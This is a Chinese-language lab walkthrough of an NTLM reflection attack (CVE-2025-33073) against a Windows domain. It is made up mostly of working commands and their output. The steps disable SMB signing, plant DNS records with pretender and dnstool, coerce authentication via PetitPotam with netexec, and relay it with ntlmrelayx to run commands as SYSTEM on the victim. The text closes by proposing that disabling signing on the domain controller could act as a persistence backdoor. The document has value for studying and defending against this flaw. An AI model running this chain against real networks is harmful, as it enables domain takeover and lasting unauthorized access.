机器:
Kali 攻击机 192.168.203.134 WIN10 被攻击机 192.168.203.131 WinH22 域控机 192.168.203.10
工具:
Ntlmrelayx:https://github.com/fortra/impacket
Netexec: https://www.netexec.wiki/
账号:
hack\d1 //低权限,可以看到下图对于权限的对比

具体安装过程和加域,可参考下面文章: https://blog.csdn.net/jiaqu2177/article/details/81943615


导航到目标位置:
Users 容器中创建用户,但更好的做法是在自定义的组织单位 (OU) 中创建用户,以便更好地管理和应用组策略。例如,您可以展开到 hack.com -> Users 或您自定义的 OU (例如 hack.com -> Sales -> Users)。创建新用户:


需要关闭防火墙,否则默认拦截kali发起的smb流量

Powershell : Get-SmbServerConfiguration

EnableSecuritySignature : False: 这表示 SMB 安全签名是 禁用 的。
RequireSecuritySignature : False: 这表示 不强制 要求 SMB 安全签名。
PS C:\Users\Administrator> Set-SmbServerConfiguration -RequireSecuritySignature $false -Confirm:$false PS C:\Users\Administrator> Get-SmbServerConfiguration | Select-Object RequireSecuritySignature RequireSecuritySignature ------------------------ False
可以使用 pretender 在局域网里开启域名监听(该方法限于同一局域网,不会在域内添加 DNS 记录较隐蔽)
./pretender -i "eth0" --spoof "localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" --no-dhcp-dns --no-timestamps
使用 dnstool 向域内添加 DNS 记录(该方法可在不同局域网使用)
dnstool.py -u 'hack.com\d1' -p 'Qa112211' 192.168.203.10 -a add -r localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA -d 192.168.203.134
impacket-ntlmrelayx -t 192.168.203.131(被攻击机) -smb2support
扫描win10机器是否存在强制认证漏洞
nxc smb 192.168.203.131 -u "d1" -p "Qa112211" -M coerce_plus --verbose

可以看到存在多个强制认证漏洞,这里就用最常见的:PetitPotam
┌──(root㉿kali-plus)-[~/Downloads] └─# nxc smb 192.168.203.131 -u "d1" -p "Qa112211" -M coerce_plus -o METHOD=Pe LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA --verbose [-] Failed loading module at /usr/lib/python3/dist-packages/nxc/modules/enum_ca.py: No module named 'requests' [-] Failed loading module at /usr/lib/python3/dist-packages/nxc/modules/empire_exec.py: No module named 'requests' [01:38:23] INFO Socket info: host=192.168.203.131, hostname=192.168.203.131, kerberos=False, ipv6=False, link-local connection.py:165 ipv6=False INFO Creating SMBv3 connection to 192.168.203.131 smb.py:606 INFO Creating SMBv1 connection to 192.168.203.131 smb.py:575 INFO Resolved domain: hack.com with dns, kdcHost: 198.19.7.197 smb.py:321 SMB 192.168.203.131 445 TEST001 [*] Windows 10 / Server 2019 Build 19041 x64 (name:TEST001) (domain:hack.com) (signing:False) (SMBv1:True) INFO Creating SMBv3 connection to 192.168.203.131 smb.py:606 SMB 192.168.203.131 445 TEST001 [+] hack.com\d1:Qa112211 INFO Loading modules for target: 192.168.203.131 connection.py:589 COERCE_PLUS 192.168.203.131 445 TEST001 VULNERABLE, PetitPotam COERCE_PLUS 192.168.203.131 445 TEST001 Exploit Success, lsarpc\EfsRpcAddUsersToFile
可以看到成功获取到了NTLM HASH

┌──(root㉿kali-plus)-[~/Downloads] └─# impacket-ntlmrelayx -t 192.168.203.131 -smb2support -c whoami Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Protocol Client SMB loaded.. [*] Protocol Client HTTPS loaded.. [*] Protocol Client HTTP loaded.. [*] Protocol Client MSSQL loaded.. [*] Protocol Client DCSYNC loaded.. [*] Protocol Client SMTP loaded.. [*] Protocol Client LDAPS loaded.. [*] Protocol Client LDAP loaded.. [*] Protocol Client IMAPS loaded.. [*] Protocol Client IMAP loaded.. [*] Protocol Client RPC loaded.. [*] Running in relay mode to single host [*] Setting up SMB Server on port 445 [*] Setting up HTTP Server on port 80 [*] Setting up WCF Server on port 9389 [*] Setting up RAW Server on port 6666 [*] Multirelay disabled [*] Servers started, waiting for connections [*] SMBD-Thread-5 (process_request_thread): Received connection from 192.168.203.131, attacking target smb://192.168.203.131 [*] Authenticating against smb://192.168.203.131 as / SUCCEED [*] Service RemoteRegistry is in stopped state [*] Service RemoteRegistry is disabled, enabling it [*] Starting service RemoteRegistry [*] Executed specified command on host: 192.168.203.131 nt authority\system [*] Stopping service RemoteRegistry [*] Restoring the disabled state for service RemoteRegistry [*] All targets processed! [*] SMBD-Thread-7 (process_request_thread): Connection from 192.168.203.131 controlled, but there are no more targets left!
NTLM Reflection攻击 不是一个陌生的漏洞利用方式了。像之前的ADCS ESC-8 也是利用差不多的链条。
漏洞的出现有几个关键点:
当用户输入的 test1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA 时,SMB 客户端会将1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA解析为 MarshalledTargetInfo( Kerberos 扩展字段),最后截断后得到的是 test。
Kerberos SSPI 支持一种特殊的 SPN 格式(如 CASTELBLACK1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA),如果 Kerberos SSPI 遇到这种格式的 SPN,它会计算新字符串的长度,将其与 SPN 进行分割,然后继续使用新的 SPN 字符串进行验证过程。SMB 客户端为了支持这种格式,会调用 SecMakeSPNEx2 API,该 API 又会调用 CredMarshalTargetInfo 来构建新的字符串,并将其附加到 SPN 的末尾。
而为了验证目标服务器的名称和当前计算机是否为同一台机器,SspIsTargetLocalhost 函数会对 IP 或者域名进行比对,如果目标服务器使用的是域名,则会将域名和以下三个内容做比较:
Windows 的 NTLM 认证 有一个优化机制:
如果是本地进程访问本地服务(比如 localhost 或本机主机名),就不需要严格验证(因为“自己人”无需防)。
如果是远程访问,就必须检查签名、挑战值(Challenge)等安全措施。
它依赖两个关键字段:
Calling Workstation Name(工作站名,如 test)
Calling Workstation Domain(域名,如 test.hack.com)
为什么域控没办法被CVE-2025-33073影响,原因很简单,因为域控默认开启SMB签名,所以如果手动关闭,依然可以使用该漏洞实现接管
手动关闭 PS C:\Users\Administrator> Set-SmbServerConfiguration -RequireSecuritySignature $false -Confirm:$false PS C:\Users\Administrator> Get-SmbServerConfiguration | Select-Object RequireSecuritySignature RequireSecuritySignature ------------------------ False

由此是不是可以作为一种持久化后门的手段。
参考文章: